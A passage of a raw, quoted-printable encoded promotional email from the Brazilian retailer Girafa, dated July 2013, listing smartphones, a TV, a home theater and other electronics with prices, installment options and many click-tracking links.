679f90e2d1f512efffe2339724ab0e4,[DMA6_ENCODE_URL]http://www.girafa.com.br/p= esquisa/?q=3Di950&marcas=3DSamsung&subgrupos=3D209&utm_source=3D08_07_13_of= erta_do_dia&utm_medium=3DEmail&utm_content=3D&utm_campaign=3Doferta_do_dia_= 08_07_13font-weight: bold; margin: 0px 0px 0px 0px; border: 0;">12x no cart=E3o [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3275,644384,84602,a= 679f90e2d1f512efffe2339724ab0e4,[DMA6_ENCODE_URL]http://www.girafa.com.br/p= esquisa/?q=3Di950&marcas=3DSamsung&subgrupos=3D209&utm_source=3D08_07_13_of= erta_do_dia&utm_medium=3DEmail&utm_content=3D&utm_campaign=3Doferta_do_dia_= 08_07_13 height:50px; border-left:1px solid #f4ac1c;border-bottom:1px solid #f4ac1c; width:292px; padding:10px 0px 0px 0px;"> 1.319,12 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3275,644384,84603,a= 679f90e2d1f512efffe2339724ab0e4,[DMA6_ENCODE_URL]http://www.girafa.com.br/p= esquisa/?q=3Di9200&ordem=3Dmais-visualizados&utm_source=3D08_07_13_oferta_d= o_dia&utm_medium=3DEmail&utm_content=3D&utm_campaign=3Doferta_do_dia_08_07_= 13 margin: 0;padding: 0; border: 0; ">=C0 vista no boleto [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3275,644384,84603,a= 679f90e2d1f512efffe2339724ab0e4,[DMA6_ENCODE_URL]http://www.girafa.com.br/p= esquisa/?q=3Di9200&ordem=3Dmais-visualizados&utm_source=3D08_07_13_oferta_d= o_dia&utm_medium=3DEmail&utm_content=3D&utm_campaign=3Doferta_do_dia_08_07_= 13font-weight: bold; margin:0; border: 0;">12x no cart=E3o [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3275,644384,84603,a= 679f90e2d1f512efffe2339724ab0e4,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL3Blc3F1aXN= hLz9xPWk5MjAwJm9yZGVtPW1haXMtdmlzdWFsaXphZG9zJnV0bV9zb3VyY2U9MDhfMDdfMTNfb2= ZlcnRhX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PSZ1dG1fY2FtcGFpZ249b= 2ZlcnRhX2RvX2RpYV8wOF8wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3275,644384,84604,a= 679f90e2d1f512efffe2339724ab0e4,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL3Blc3F1aXN= hLz9xPTY4MTImbWFyY2FzPVNhbXN1bmcmc3ViZ3J1cG9zPTIwOSZ1dG1fc291cmNlPTA4XzA3Xz= EzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0mdXRtX2NhbXBha= WduPW9mZXJ0YV9kb19kaWFfMDhfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb20=3D] [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3275,644384,84605,a= 679f90e2d1f512efffe2339724ab0e4,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL2JhYnktY2F= yZS9TaWdhLW1lLUJhYnkvYmFiLWVsZXRyLW5pY2Etc2lnYS1tZS1iYWJ5LWFsdG8tZmFsYW50ZS= 1kaWdpdGFsLWF6dWwtYml2b2x0Lmh0bT91dG1fc291cmNlPTA4XzA3XzEzX29mZXJ0YV9kb19ka= WEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19k= aWFfMDhfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb20=3D] S6812 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3275,644384,84604,a= 679f90e2d1f512efffe2339724ab0e4,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL3Blc3F1aXN= hLz9xPTY4MTImbWFyY2FzPVNhbXN1bmcmc3ViZ3J1cG9zPTIwOSZ1dG1fc291cmNlPTA4XzA3Xz= EzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0mdXRtX2NhbXBha= WduPW9mZXJ0YV9kb19kaWFfMDhfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb20=3D] BABA 3007 AZUL [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3275,644384,84605,a= 679f90e2d1f512efffe2339724ab0e4,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL2JhYnktY2F= yZS9TaWdhLW1lLUJhYnkvYmFiLWVsZXRyLW5pY2Etc2lnYS1tZS1iYWJ5LWFsdG8tZmFsYW50ZS= 1kaWdpdGFsLWF6dWwtYml2b2x0Lmh0bT91dG1fc291cmNlPTA4XzA3XzEzX29mZXJ0YV9kb19ka= WEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19k= aWFfMDhfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb20=3D] Smartphone Galaxy Fame Duos [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3275,644384,84604,a= 679f90e2d1f512efffe2339724ab0e4,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL3Blc3F1aXN= hLz9xPTY4MTImbWFyY2FzPVNhbXN1bmcmc3ViZ3J1cG9zPTIwOSZ1dG1fc291cmNlPTA4XzA3Xz= EzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0mdXRtX2NhbXBha= WduPW9mZXJ0YV9kb19kaWFfMDhfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb20=3D] Bab=E1 Eletr=F4nica Siga-me Baby [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3275,644384,84605,a= 679f90e2d1f512efffe2339724ab0e4,[DMA6_ENCODE_URL]http://www.girafa.com.br/b= aby-care/Siga-me-Baby/bab-eletr-nica-siga-me-baby-alto-falante-digital-azul= -bivolt.htm?utm_source=3D08_07_13_oferta_do_dia&utm_medium=3DEmail&utm_cont= ent=3D&utm_campaign=3Doferta_do_dia_08_07_13 border-bottom:1px solid #f4ac1c; border-left:1px solid #f4ac1c; width:292px; padding:10px 0px 0px 0px;"> 527,12 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3275,644384,84604,a= 679f90e2d1f512efffe2339724ab0e4,[DMA6_ENCODE_URL]http://www.girafa.com.br/p= esquisa/?q=3D6812&marcas=3DSamsung&subgrupos=3D209&utm_source=3D08_07_13_of= erta_do_dia&utm_medium=3DEmail&utm_content=3D&utm_campaign=3Doferta_do_dia_= 08_07_13 margin: 0;padding: 0; border: 0; ">=C0 vista no boleto [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3275,644384,84604,a= 679f90e2d1f512efffe2339724ab0e4,[DMA6_ENCODE_URL]http://www.girafa.com.br/p= esquisa/?q=3D6812&marcas=3DSamsung&subgrupos=3D209&utm_source=3D08_07_13_of= erta_do_dia&utm_medium=3DEmail&utm_content=3D&utm_campaign=3Doferta_do_dia_= 08_07_13font-weight: bold; margin: 0px 0px 0px 0px; border: 0;">12x no cart=E3o [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3275,644384,84604,a= 679f90e2d1f512efffe2339724ab0e4,[DMA6_ENCODE_URL]http://www.girafa.com.br/p= esquisa/?q=3D6812&marcas=3DSamsung&subgrupos=3D209&utm_source=3D08_07_13_of= erta_do_dia&utm_medium=3DEmail&utm_content=3D&utm_campaign=3Doferta_do_dia_= 08_07_13 height:50px; border-left:1px solid #f4ac1c;border-bottom:1px solid #f4ac1c; width:292px; padding:10px 0px 0px 0px;"> 183,91 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3275,644384,84605,a= 679f90e2d1f512efffe2339724ab0e4,[DMA6_ENCODE_URL]http://www.girafa.com.br/b= aby-care/Siga-me-Baby/bab-eletr-nica-siga-me-baby-alto-falante-digital-azul= -bivolt.htm?utm_source=3D08_07_13_oferta_do_dia&utm_medium=3DEmail&utm_cont= ent=3D&utm_campaign=3Doferta_do_dia_08_07_13 margin: 0;padding: 0; border: 0; ">=C0 vista no boleto [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3275,644384,84605,a= 679f90e2d1f512efffe2339724ab0e4,[DMA6_ENCODE_URL]http://www.girafa.com.br/b= aby-care/Siga-me-Baby/bab-eletr-nica-siga-me-baby-alto-falante-digital-azul= -bivolt.htm?utm_source=3D08_07_13_oferta_do_dia&utm_medium=3DEmail&utm_cont= ent=3D&utm_campaign=3Doferta_do_dia_08_07_13font-weight: bold; margin:0; border: 0;">12x no cart=E3o [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3275,644384,84605,a= 679f90e2d1f512efffe2339724ab0e4,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL2JhYnktY2F= yZS9TaWdhLW1lLUJhYnkvYmFiLWVsZXRyLW5pY2Etc2lnYS1tZS1iYWJ5LWFsdG8tZmFsYW50ZS= 1kaWdpdGFsLWF6dWwtYml2b2x0Lmh0bT91dG1fc291cmNlPTA4XzA3XzEzX29mZXJ0YV9kb19ka= WEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19k= aWFfMDhfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb20=3D] [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3275,644384,84606,a= 679f90e2d1f512efffe2339724ab0e4,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL1RWLUxFRC9= TYW1zdW5nL3R2LWxlZC00MC11bjQwZjUyMDBhZ3h6ZC1zYW1zdW5nLWhkbWktdXNiLXByZXRhLW= d1aWEtZGUtcHJvZ2FtYS1vLmh0bT91dG1fc291cmNlPTA4XzA3XzEzX29mZXJ0YV9kb19kaWEmd= XRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFf= MDhfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb20=3D] [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3275,644384,84607,a= 679f90e2d1f512efffe2339724ab0e4,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0hvbWUtVGh= lYXRlci9TYW1zdW5nL2hvbWUtdGhlYXRlci1zYW1zdW5nLWh0LWY2NTUwdy16ZC1ibHUtcmF5LT= NkLTEwMDB3LW1wMy1ibHVldG9vdGgtd2ktZmkuaHRtP3V0bV9zb3VyY2U9MDhfMDdfMTNfb2Zlc= nRhX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PSZ1dG1fY2FtcGFpZ249b2Zl= cnRhX2RvX2RpYV8wOF8wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] UN40F5200AGXZD [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3275,644384,84606,a= 679f90e2d1f512efffe2339724ab0e4,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL1RWLUxFRC9= TYW1zdW5nL3R2LWxlZC00MC11bjQwZjUyMDBhZ3h6ZC1zYW1zdW5nLWhkbWktdXNiLXByZXRhLW= d1aWEtZGUtcHJvZ2FtYS1vLmh0bT91dG1fc291cmNlPTA4XzA3XzEzX29mZXJ0YV9kb19kaWEmd= XRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFf= MDhfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb20=3D] HT-F6550W/ZD [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3275,644384,84607,a= 679f90e2d1f512efffe2339724ab0e4,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0hvbWUtVGh= lYXRlci9TYW1zdW5nL2hvbWUtdGhlYXRlci1zYW1zdW5nLWh0LWY2NTUwdy16ZC1ibHUtcmF5LT= NkLTEwMDB3LW1wMy1ibHVldG9vdGgtd2ktZmkuaHRtP3V0bV9zb3VyY2U9MDhfMDdfMTNfb2Zlc= nRhX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PSZ1dG1fY2FtcGFpZ249b2Zl= cnRhX2RvX2RpYV8wOF8wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] TV LED Samsung 40" [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3275,644384,84606,a= 679f90e2d1f512efffe2339724ab0e4,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL1RWLUxFRC9= TYW1zdW5nL3R2LWxlZC00MC11bjQwZjUyMDBhZ3h6ZC1zYW1zdW5nLWhkbWktdXNiLXByZXRhLW= d1aWEtZGUtcHJvZ2FtYS1vLmh0bT91dG1fc291cmNlPTA4XzA3XzEzX29mZXJ0YV9kb19kaWEmd= XRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFf= MDhfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb20=3D] Home Theater 3D Samsung [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3275,644384,84607,a= 679f90e2d1f512efffe2339724ab0e4,[DMA6_ENCODE_URL]http://www.girafa.com.br/H= ome-Theater/Samsung/home-theater-samsung-ht-f6550w-zd-blu-ray-3d-1000w-mp3-= bluetooth-wi-fi.htm?utm_source=3D08_07_13_oferta_do_dia&utm_medium=3DEmail&= utm_content=3D&utm_campaign=3Doferta_do_dia_08_07_13 border-bottom:1px solid #f4ac1c; border-left:1px solid #f4ac1c; width:292px; padding:10px 0px 0px 0px;"> 1.495,12 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3275,644384,84606,a= 679f90e2d1f512efffe2339724ab0e4,[DMA6_ENCODE_URL]http://www.girafa.com.br/T= V-LED/Samsung/tv-led-40-un40f5200agxzd-samsung-hdmi-usb-preta-guia-de-proga= ma-o.htm?utm_source=3D08_07_13_oferta_do_dia&utm_medium=3DEmail&utm_content= =3D&utm_campaign=3Doferta_do_dia_08_07_13 margin: 0;padding: 0; border: 0; ">=C0 vista no boleto [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3275,644384,84606,a= 679f90e2d1f512efffe2339724ab0e4,[DMA6_ENCODE_URL]http://www.girafa.com.br/T= V-LED/Samsung/tv-led-40-un40f5200agxzd-samsung-hdmi-usb-preta-guia-de-proga= ma-o.htm?utm_source=3D08_07_13_oferta_do_dia&utm_medium=3DEmail&utm_content= =3D&utm_campaign=3Doferta_do_dia_08_07_13font-weight: bold; margin: 0px 0px 0px 0px; border: 0;">12x no cart=E3o [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3275,644384,84606,a= 679f90e2d1f512efffe2339724ab0e4,[DMA6_ENCODE_URL]http://www.girafa.com.br/T= V-LED/Samsung/tv-led-40-un40f5200agxzd-samsung-hdmi-usb-preta-guia-de-proga= ma-o.htm?utm_source=3D08_07_13_oferta_do_dia&utm_medium=3DEmail&utm_content= =3D&utm_campaign=3Doferta_do_dia_08_07_13 height:50px; border-left:1px solid #f4ac1c;border-bottom:1px solid #f4ac1c; width:292px; padding:10px 0px 0px 0px;"> 3.079,12 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3275,644384,84607,a= 679f90e2d1f512efffe2339724ab0e4,[DMA6_ENCODE_URL]http://www.girafa.com.br/H= ome-Theater/Samsung/home-theater-samsung-ht-f6550w-zd-blu-ray-3d-1000w-mp3-= bluetooth-wi-fi.htm?utm_source=3D08_07_13_oferta_do_dia&utm_medium=3DEmail&= utm_content=3D&utm_campaign=3Doferta_do_dia_08_07_13 margin: 0;padding: 0; border: 0; ">=C0 vista no boleto [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3275,644384,84607,a= 679f90e2d1f512efffe2339724ab0e4,[DMA6_ENCODE_URL]http://www.girafa.com.br/H= ome-Theater/Samsung/home-theater-samsung-ht-f6550w-zd-blu-ray-3d-1000w-mp3-= bluetooth-wi-fi.htm?utm_source=3D08_07_13_oferta_do_dia&utm_medium=3DEmail&= utm_content=3D&utm_campaign=3Doferta_do_dia_08_07_13font-weight: bold; margin:0; border: 0;">12x no cart=E3o [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3275,644384,84607,a= 679f90e2d1f512efffe2339724ab0e4,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0hvbWUtVGh= lYXRlci9TYW1zdW5nL2hvbWUtdGhlYXRlci1zYW1zdW5nLWh0LWY2NTUwdy16ZC1ibHUtcmF5LT= NkLTEwMDB3LW1wMy1ibHVldG9vdGgtd2ktZmkuaHRtP3V0bV9zb3VyY2U9MDhfMDdfMTNfb2Zlc= nRhX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PSZ1dG1fY2FtcGFpZ249b2Zl= cnRhX2RvX2RpYV8wOF8wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3275,644384,84588,a= 679f90e2d1f512efffe2339724ab0e4,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyLz91dG1fc29= 1cmNlPTA4XzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD= 0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDhfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS= 5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3275,644384,84608,a= 679f90e2d1f512efffe2339724ab0e4,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL21vdGl2b3M= tcGFyYS1jb21wcmFyLzEwMC1zZWd1cm8vP3V0bV9zb3VyY2U9MDhfMDdfMTNfb2ZlcnRhX2RvX2= RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PSZ1dG1fY2FtcGFpZ249b2ZlcnRhX2RvX= 2RpYV8wOF8wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3275,644384,84612,a= 679f90e2d1f512efffe2339724ab0e4,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9jZW50cmF= sLWRlLWF0ZW5kaW1lbnRvLz91dG1fc291cmNlPTA4XzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX2= 1lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDhfM= DdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3275,644384,84613,a= 679f90e2d1f512efffe2339724ab0e4,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9tb3Rpdm9= zLXBhcmEtY29tcHJhci9kaXZlcnNhcy1mb3JtYXMtZGUtcGFnYW1lbnRvLz91dG1fc291cmNlPT= A4XzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0mdXRtX= 2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDhfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb20= =3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3275,644384,84614,a= 679f90e2d1f512efffe2339724ab0e4,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9tb3Rpdm9= zLXBhcmEtY29tcHJhci9nYXJhbnRpYS1kZS1zYXRpc2ZhY2FvLz91dG1fc291cmNlPTA4XzA3Xz= EzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0mdXRtX2NhbXBha= WduPW9mZXJ0YV9kb19kaWFfMDhfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3275,644384,84615,a= 679f90e2d1f512efffe2339724ab0e4,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9lc3BhY28= tZG8tY2xpZW50ZS9hdmFsaWFjb2VzL2luZGV4LnBocD91dG1fc291cmNlPTA4XzA3XzEzX29mZX= J0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0mdXRtX2NhbXBhaWduPW9mZ= XJ0YV9kb19kaWFfMDhfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3275,644384,84616,a= 679f90e2d1f512efffe2339724ab0e4,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9pbnN0aXR= 1Y2lvbmFsL2Zvcm5lY2Vkb3Jlcy8/dXRtX3NvdXJjZT0wOF8wN18xM19vZmVydGFfZG9fZGlhJn= V0bV9tZWRpdW09RW1haWwmdXRtX2NvbnRlbnQ9JnV0bV9jYW1wYWlnbj1vZmVydGFfZG9fZGlhX= zA4XzA3XzEzJnV0bV90ZXJtPQ=3D=3D,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3275,644384,84609,a= 679f90e2d1f512efffe2339724ab0e4,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL2NoYXQvP3V= 0bV9zb3VyY2U9MDhfMDdfMTNfb2ZlcnRhX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb2= 50ZW50PSZ1dG1fY2FtcGFpZ249b2ZlcnRhX2RvX2RpYV8wOF8wN18xMyZ1dG1fdGVybT0=3D,1,= b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3275,644384,84588,a= 679f90e2d1f512efffe2339724ab0e4,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyLz91dG1fc29= 1cmNlPTA4XzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD= 0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDhfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS= 5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3275,644384,84617,a= 679f90e2d1f512efffe2339724ab0e4,aHR0cHM6Ly93d3cuZmFjZWJvb2suY29tL0dpcmFmYUN= vbT91dG1fc291cmNlPTA4XzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG= 1fY29udGVudD0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDhfMDdfMTMmdXRtX3Rlcm09,= 1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3275,644384,84618,a= 679f90e2d1f512efffe2339724ab0e4,aHR0cHM6Ly90d2l0dGVyLmNvbS9vZ2lyYWZhP3V0bV9= zb3VyY2U9MDhfMDdfMTNfb2ZlcnRhX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW= 50PSZ1dG1fY2FtcGFpZ249b2ZlcnRhX2RvX2RpYV8wOF8wN18xMyZ1dG1fdGVybT0=3D,1,b3Nz= LnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3275,644384,84619,a= 679f90e2d1f512efffe2339724ab0e4,aHR0cHM6Ly9wbHVzLmdvb2dsZS5jb20vK2dpcmFmYS9= wb3N0cz91dG1fc291cmNlPTA4XzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbC= Z1dG1fY29udGVudD0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDhfMDdfMTMmdXRtX3Rlc= m09,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3275,644384,84610,a= 679f90e2d1f512efffe2339724ab0e4,aHR0cDovL3d3dy55b3V0dWJlLmNvbS9vZ2lyYWZhP3V= 0bV9zb3VyY2U9MDhfMDdfMTNfb2ZlcnRhX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb2= 50ZW50PSZ1dG1fY2FtcGFpZ249b2ZlcnRhX2RvX2RpYV8wOF8wN18xMyZ1dG1fdGVybT0=3D,1,= b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3275,644384,84588,a= 679f90e2d1f512efffe2339724ab0e4,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyLz91dG1fc29= 1cmNlPTA4XzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD= 0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDhfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS= 5jb20=3D] Pre=E7os e condi=E7=F5es de pagamento v=E1lidos at=E9 10/07/2013 ou enquanto durarem nossos estoques. Imagens meramente ilustrativas.*Consulte sua regi=E3o [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3275,644384,84611,a= 679f90e2d1f512efffe2339724ab0e4,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyP3V0bV9zb3V= yY2U9MDhfMDdfMTNfb2ZlcnRhX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PS= Z1dG1fY2FtcGFpZ249b2ZlcnRhX2RvX2RpYV8wOF8wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNn= aS5jb20=3D] --d747d1a204ce3ceaf6d1776f719993be Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline =0D =0D =0D =0D
    Se você nã= o conseguir visualizar esta mensagem, acesse este link
    3D"" =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    3D"01"
    =0D = =0D =0D =0D =0D =0D =0D = =0D =0D =0D =0D =0D =0D =0D =0D
    3D"02" = 3D"03" 3D"05" 3D"06" 3D"07" = 3D"09" = 3D"10"
    =0D
    3D"11"
    =0D =0D =0D =0D =0D =0D =0D
    = 3D"TV
    =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    = 3D""
    BDP-S4100GTU 10
    Blu-ray Player 3DLocalizador GPS Garmin
    =0D =0D =0D =0D =0D =0D =0D =0D
    =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    3D"#" = 377 = ,52
    =C0 vista no boleto
    ou em at=E9 10x no cart=E3o
    =0D
    =0D
    =0D =0D =0D =0D =0D =0D =0D =0D
    =0D
      = • Rastreador com Aplicativo
      =0D • =C0 Prova D=E1gua =
    =0D
    =0D =0D =0D =0D = =0D =0D =0D =0D =0D =0D
    3D"= 56= 0 =C0 vista no boleto
    = ou em at=E9 = 12x no cart=E3o
    =0D
    =0D
    =0D =0D =0D =0D =0D =0D =0D
    3D""
    =0D = =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    3D""<= /td>=0D 3D""
    Xperia L - PretoC6503
    Smartphone Sony Xperia LSmartphone Sony Xperia ZQ
    =0D =0D =0D =0D =0D =0D =0D =0D
    = =0D
      = • Android 4.1
      =0D • Display 4.3"
      =0D • Wi-Fi
      =0D • 8MP
    = =0D
    =0D =0D =0D =0D =0D =0D = =0D =0D =0D =0D =0D =0D
    3D"#" = 720 = ,72=0D
    =C0 vista no boleto
    ou em at=E9 12x no cart=E3o
    =0D
    =0D
    =0D =0D =0D =0D =0D =0D =0D =0D
    =0D
      = • Android 4.1
      =0D • 13MP
      =0D • Tela 5"
      =0D • 4G
    = =0D
    =0D =0D =0D =0D =0D =0D = =0D =0D =0D =0D =0D =0D
    3D"#" = 1.671 = ,12=0D
    =C0 vista no boleto
    ou em at=E9 12x no cart= =E3o
    =0D
    =0D
    =0D =0D =0D =0D =0D =0D =0D
    3D""
    =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    =3D"" 3D""
    i9500 / i9505i9200
    Smartphone Samsung Galaxy S4Smartphone Galaxy Mega
    =0D =0D =0D =0D =0D =0D =0D =0D
    =0D
      = • Android 4.2
      =0D • 13MP
      =0D • 16GB
      =0D • Tela 5" =
    =0D
    =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    = 3D"#" = 1.930 = ,85
    =C0 vista no boleto=0D
    ou em at=E9 12x= no cart=E3o
    =0D
    =0D
    =0D =0D =0D =0D =0D =0D =0D =0D
    =0D
      = • Android 4.1
      =0D • 8MP
      =0D • 8GB
      =0D • Tela 6.3" =
    =0D
    =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    3D"#" = 1.319 ,1= 2
    =C0 vista no boleto=0D
    ou em at=E9 12x no car= t=E3o
    =0D
    =0D
    =0D =0D =0D =0D =0D =0D =0D
    3D""
